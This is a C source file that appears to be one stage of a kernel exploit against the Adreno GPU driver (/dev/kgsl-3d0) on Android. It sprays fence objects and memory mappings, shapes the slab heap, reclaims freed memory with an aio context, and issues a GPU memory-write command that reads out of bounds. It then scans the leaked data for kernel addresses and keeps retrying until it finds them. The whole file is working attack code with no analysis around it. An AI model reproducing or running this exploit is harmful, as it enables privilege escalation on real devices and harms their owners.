#include <err.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <linux/aio_abi.h>


#include "kgsl_utils.h"
#include "adreno_cmd.h"
#include "dma_search.h"

#define CMD_SIZE 4

#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE)

#define CPU_PARTIAL 30

#define MMAP_SPRAY 1000

#define OBJ_SPRAY 10000

#define CPU_SETSIZE 1024
#define __NCPUBITS  (8 * sizeof (unsigned long))
typedef struct
{
   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
} cpu_set_t;

#define CPU_SET(cpu, cpusetp) \
  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
#define CPU_ZERO(cpusetp) \
  memset((cpusetp), 0, sizeof(cpu_set_t))

#define KERNEL_BRANCH KERNEL_4

void migrate_to_cpu(int i)
{
    int syscallres;
    pid_t pid = gettid();
    cpu_set_t cpu;
    CPU_ZERO(&cpu);
    CPU_SET(i, &cpu);

    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
    if (syscallres)
    {
        err(1, "Error in the syscall setaffinity");
    }
}

static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) {
  uint32_t* out = NULL;
  out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE,
                                        MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  if (out == MAP_FAILED) {
    err(1, "shared_mem_buf failed");
  }
  int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0);
    
  if (ret == -1) {
    err(1, "kgsl_map failed %p\n", out);
  }
  return out;
}

static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) {
  uint32_t* write_cmds;

  write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5;

  write_cmds = write_cmd_buf;

  *write_cmds++ = cp_type7_packet(CP_NOP, 1);
  *write_cmds++ = 0xffffffff;

  *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n);

  write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr);

  return (write_cmds - write_cmd_buf + n) * CMD_SIZE;
}


static  int io_setup(unsigned nr, aio_context_t *ctxp)
{
  return syscall(__NR_io_setup, nr, ctxp);
}

static int io_destroy(aio_context_t ctx) 
{
  return syscall(__NR_io_destroy, ctx);
}

int find_address() {
  uint32_t *write_cmd_buf;
  uint64_t *shared_mem_buf;
  void *shared_mem_buf2;
  uint64_t shared_mem_gpuaddr2;
  uint32_t n = 2048;
  uint64_t shared_mem_size = 0x2000;
  uint32_t cmd_size;
  uint64_t write_cmd_gpuaddr = 0;
  uint64_t shared_mem_gpuaddr = 0;
  uint64_t hole_size = 0x1000;
  int fds[OBJS_PER_SLAB * CPU_PARTIAL];
  int spray_fds[OBJ_SPRAY];

  int fd = open("/dev/kgsl-3d0", O_RDWR);

  if (fd == -1) {
    err(1, "cannot open kgsl");
  }

  uint32_t ctx_id;
  if (kgsl_ctx_create(fd, &ctx_id)) {
    err(1, "kgsl_ctx_create failed.");
  }

  struct kgsl_syncsource_create syncsource = {0};
  if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) {
    err(1, "unable to create syncsource\n");
  }

  for (int i = 0; i < OBJ_SPRAY; i++) {
    struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
    if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
      err(1, "Failed to create fence");
    }
    spray_fds[i] = create_fence.fence_fd;
  }

  for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) {
    struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
    if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
      err(1, "Failed to create fence");
    }
    fds[i] = create_fence.fence_fd;
  }

  shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size);
  write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000);
  uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr;

  write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE;

  uint32_t* write_cmd_buf_start = write_cmd_buf;
  cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n);

  usleep(50000);
  void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

  if (shared_mem_buf2 == MAP_FAILED) {
    err(1, "shared_mem_buf2 failed");
  }

  munmap(hole, hole_size);
  aio_context_t ctx = 0;
  uint32_t nr_events = 32;
  
  migrate_to_cpu(0);
  for (int i = 0; i < OBJS_PER_SLAB; i++) {
    close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]);
  }

  for (int i = 0; i < (CPU_PARTIAL - 1); i++) {
    close(fds[i * OBJS_PER_SLAB]);
  }

  if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n");
  if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) {
    err(1, "kgsl_map failed (shared_mem_buf2)");
  }

  if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) {
    err(1, "gpu_command failed.");
  }
  usleep(150000);
  if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) {
    err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr);
  }
  if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) {
    err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx);
  }

  int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH);
  if (ret == -1) {
    io_destroy(ctx);
    munmap(shared_mem_buf2, 0x1000);
    munmap(shared_mem_buf, 0x2000);
    munmap(write_cmd_buf, 0x1000);
    for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]);
    for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]);
    close(fd);
  }
  return ret;
}

int main() {

  for (int i = 0; i < MMAP_SPRAY; i++) {
    mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  }
  int success = -1;
  int counter = 0;
  while (success == -1) {
    success = find_address();
    counter++;
    if (counter % 20 == 0) printf("failed after %d\n", counter);
  }

}
